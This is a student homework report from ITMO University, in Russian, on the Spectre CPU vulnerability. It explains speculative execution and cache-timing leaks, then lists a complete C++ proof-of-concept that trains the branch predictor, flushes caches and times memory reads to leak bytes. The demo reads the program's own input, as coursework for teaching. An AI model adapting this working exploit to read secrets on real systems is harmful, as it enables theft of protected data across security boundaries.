САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

Отчет

по домашней работе №6

«Spectre»

Выполнил(а): Белозоров Денис Сергеевич

Номер ИСУ: 334876

студ. гр. М3139

Санкт-Петербург

2022

Цель работы: знакомство с аппаратной уязвимостью Spectre.

Инструментарий и требования к работе: C/C++.

Теоретическая часть

Описание уязвимости Spectre.

Spectre - уязвимость процессоров, использующих спекулятивное выполнение команд и предсказание ветвлений, позволяющая производить чтение недоступных данных через информацию о времени доступа к памяти. Затрагивает большинство современных процессоров, в частности x86/x86_64 (Intel и AMD).

Механизм работы уязвимости:

Пусть есть код “процесса-жертвы”, который имеет доступ к массивам array1 и array2:

```
if (x < array1_size)
    y = array2[array1[x] * dispersion];
```

Где dispersion - некоторая большая константа, из-за которой несколько значений array1[x] * dispersion не окажутся закэшированными при изменении array1[x].

x < array1_size - проверка на то, что x является допустимым для этого массива индексом. Без этого программа сможет прочитать за пределами доступной памяти. В случае неверного предсказания выполненности условия, тело условия будет выполнено раньше, чем условие проверено. Если условие не окажется выполненным, то присваивание не произойдет, однако данные окажутся закешированными.

Тогда по времени доступа мы сможем узнать - каким было значение array1[x], а значит получить недоступные данные.

Практическая часть

Описание работы написанного кода.

Сначала узнаем среднее время доступа к array2. Это позволит в последствии вычислить отклонение во времени доступа, и соответственно определить нужный элемент в array2.

Далее будем последовательно читать наши данные. Значением Addr будет сдвиг адреса нужных данных относительно адреса массива array1. Тогда выражение array1[Addr] примет вид addr(array1) + (addr(data) - addr(array1)) = addr(data).

Функция будет иметь вид:

```
if (x < array1_size)
        y = array2[array1[x] * DISPERSION];
```

где DISPERSION - некоторая достаточно большая константа

Чтобы прочитать данные по адресу, нужно сначала “натренировать” предсказатель перехода, множество раз вызывая функцию с корректными значениями x. После чего сбросим кэш - этим мы сбросим время доступа к array2 и уберем из кэша значение array_size. Тогда при следующем выполнении функции тело условия может выполниться раньше проверки условия, так как оптимальнее будет не ждать получения значения array_size из памяти и ранее это условие всегда выполнялось.

В удачном случае будет закэшировано одно из значений array2 - пройдемся по ним и найдем элемент, время доступа до которого значительно отклонено от среднего времени доступа.

Листинг

main.cpp

```
#include <stdio.h>
#include <inttypes.h>
#include <string>

#ifdef _MSC_VER
  #include <intrin.h>
#else
  #include <x86intrin.h>
#endif

#define DISPERSION 4096 // разброс значений в памяти, чтобы сразу все не кэшировалось
#define THRESHOLD 75  // достаточное отклонение во времени доступа
#define TRAINING_COUNT 1000

char array2[256 * DISPERSION];
size_t array_size = 10;
volatile uint8_t array1[10]; // размер не важен, наполнение тоже

///////////////
char victimFunction(uint64_t i) {
  if (i < array_size)
```

```
   return array2[array1[i] * DISPERSION];
  return 0;
}
//////////////

uint64_t readAndGetTime(int index){ // возвращает время доступа к array2 по индексу index
  __sync_synchronize(); // позволяет нормально считать время
  uint64_t start = __rdtsc();
  __sync_synchronize();
  uint64_t temp = array2[index];
  __sync_synchronize();
  volatile uint64_t time = __rdtsc() - start;
  return time;
}

uint64_t getAverageUncachedTime() {
  uint64_t sum = 0;
  for(int g = 0; g < 1000;g++){
    for (uint64_t i = 0; i < 256; i++) {
       _mm_clflush(&array2[i * DISPERSION]);
     }
    for (volatile int i = 0; i < 256; i++) {
     sum += readAndGetTime(i * DISPERSION);
    }
  }
  return sum / (256 * 1000);
}

char readAt(uint64_t addr, unsigned long long cache_time) {
  addr -= (uint64_t) &array1; // получаем сдвиг относительно адреса начала array1
  while (true) { // пробуем пока не получится.
```

```
   for (volatile uint64_t i = 0; i < TRAINING_COUNT; i++) { // даем много верных значений чтобы получить неверное предсказание
     victimFunction(rand() % 10);
   }
   /// сброс кэшей
   _mm_clflush(&array_size);
   for (uint64_t i = 0; i < 256; i++) {
     _mm_clflush(&array2[i * DISPERSION]);
   }
   for (uint64_t i = 0; i < 10; i++) {
     _mm_clflush((uint64_t *) &array1[i]);
   }
   ///
   victimFunction(addr); // даём нужное значение
   for (volatile uint64_t i = 0; i < 256; i++) {
     uint64_t time = readAndGetTime(i * DISPERSION);
     if(time <= cache_time - THRESHOLD){ // ищем значительное изменение в скорости доступа
       printf("%p = %c - %lld cycles\n", (void *) addr, (char) i, (long long) time);
       return i;
     }
   }
  }
}

int main(int argc, char *argv[]) {
  if (argc < 2 || argc > 3) {
    printf("Неверное число аргументов");
    return 0;
  }
  if(argc == 3){
```

```
  freopen(argv[2], "w", stdout);
 }
 char *data = argv[1];
 uint64_t cache_time = getAverageUncachedTime();
 printf("%lld - average cache hit time\n", cache_time);
 std::string answer;
 while(true){
  char read = readAt((uint64_t)data + answer.length(), cache_time);
  if(!read){
     break;
  }
  answer += read;
 }
 printf("Read: %s\n", answer.c_str());
}
```